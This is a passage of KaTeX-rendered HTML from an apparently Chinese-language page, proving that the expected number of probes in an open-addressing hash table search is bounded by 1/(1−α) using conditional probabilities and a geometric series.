class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5556em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><p>计算</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>Pr</mi><mo>⁡</mo><mo stretchy="false">{</mo><msub><mi>A</mi><mn>1</mn></msub><mo>∩</mo><msub><mi>A</mi><mn>2</mn></msub><mo>∩</mo><mo>⋯</mo><mo>∩</mo><msub><mi>A</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="false">}</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mi>Pr</mi><mo>⁡</mo><mo stretchy="false">{</mo><msub><mi>A</mi><mn>1</mn></msub><mo stretchy="false">}</mo><mo>⋅</mo><mi>Pr</mi><mo>⁡</mo><mo stretchy="false">{</mo><msub><mi>A</mi><mn>2</mn></msub><mo>∣</mo><msub><mi>A</mi><mn>1</mn></msub><mo stretchy="false">}</mo><mo>⋅</mo><mi>Pr</mi><mo>⁡</mo><mo stretchy="false">{</mo><msub><mi>A</mi><mn>3</mn></msub><mo>∣</mo><msub><mi>A</mi><mn>1</mn></msub><mo>∩</mo><msub><mi>A</mi><mn>2</mn></msub><mo stretchy="false">}</mo><mo>⋯</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mspace width="1em"/><mo>⋅</mo><mi>Pr</mi><mo>⁡</mo><mo stretchy="false">{</mo><msub><mi>A</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo>∣</mo><msub><mi>A</mi><mn>1</mn></msub><mo>∩</mo><mo>⋯</mo><mo>∩</mo><msub><mi>A</mi><mrow><mi>i</mi><mo>−</mo><mn>2</mn></mrow></msub><mo stretchy="false">}</mo></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}\Pr\{A_1 \cap A_2 \cap \dots \cap A_{i-1}\} &amp;= \Pr\{A_1\} \cdot \Pr\{A_2 \mid A_1\} \cdot \Pr\{A_3 \mid A_1 \cap A_2\} \cdots \\&amp;\quad \cdot \Pr\{A_{i-1} \mid A_1 \cap \dots \cap A_{i-2}\}\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">Pr</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop">Pr</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop">Pr</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop">Pr</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop">Pr</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>由于有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 个槽和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个元素，对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi><mo>&gt;</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">j&gt; 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，在前 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">j-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 次探查到的都是已占用槽的前提下，第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 次探测到依旧占用的概率是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Pr</mi><mo>⁡</mo><mo stretchy="false">{</mo><msub><mi>A</mi><mi>j</mi></msub><mo stretchy="false">}</mo><mo>=</mo><mo stretchy="false">(</mo><mi>n</mi><mo>−</mo><mi>j</mi><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mi>m</mi><mo>−</mo><mi>j</mi><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> \Pr\{A_j\} = (n - j + 1) / (m - j + 1) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mop">Pr</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord">/</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>（有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>m</mi><mo>−</mo><mo stretchy="false">(</mo><mi>j</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(m - (j-1))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">))</span></span></span></span> 个槽未探查，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><mo stretchy="false">(</mo><mi>j</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">n-(j-1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 个元素未被探查到）</p><p>又因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>n</mi><mo>−</mo><mi>j</mi><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mi>m</mi><mo>−</mo><mi>j</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>n</mi><mi mathvariant="normal">/</mi><mi>m</mi><mo>=</mo><mi>α</mi></mrow><annotation encoding="application/x-tex">(n-j)/(m-j) \le n/m = \alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span><span class="mord">/</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> （糖水不等式）</p><p>所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Pr</mi><mo>⁡</mo><mo stretchy="false">{</mo><msub><mi>A</mi><mn>1</mn></msub><mo>∩</mo><msub><mi>A</mi><mn>2</mn></msub><mo>∩</mo><mo>⋯</mo><mo>∩</mo><msub><mi>A</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="false">}</mo><mo>≤</mo><msup><mi>α</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">\Pr\{A_1 \cap A_2 \cap \dots \cap A_{i-1}\} \le \alpha^{i-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">Pr</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5556em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8247em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></p><p>然后求</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right" columnspacing=""><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>E</mi><mo stretchy="false">[</mo><mi>X</mi><mo stretchy="false">]</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi mathvariant="normal">∞</mi></munderover><mi>Pr</mi><mo>⁡</mo><mo stretchy="false">{</mo><mi>X</mi><mo>≥</mo><mi>i</mi><mo stretchy="false">}</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi mathvariant="normal">∞</mi></munderover><mi>Pr</mi><mo>⁡</mo><mo stretchy="false">{</mo><msub><mi>A</mi><mn>1</mn></msub><mo>∩</mo><msub><mi>A</mi><mn>2</mn></msub><mo>∩</mo><mo>⋯</mo><mo>∩</mo><msub><mi>A</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="false">}</mo><mo>≤</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi mathvariant="normal">∞</mi></munderover><msup><mi>α</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mfrac><mn>1</mn><mrow><mn>1</mn><mo>−</mo><mi>α</mi></mrow></mfrac></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}E[X] = \sum_{i=1}^{\infty} \Pr\{X \ge i\} = \sum_{i=1}^{\infty} \Pr\{A_1 \cap A_2 \cap \dots \cap A_{i-1}\} \le \sum_{i=1}^{\infty} \alpha^{i-1} = \frac{1}{1-\alpha}\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.2291em;vertical-align:-1.3645em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8645em;"><span style="top:-3.8645em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">Pr</span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">i</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">Pr</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 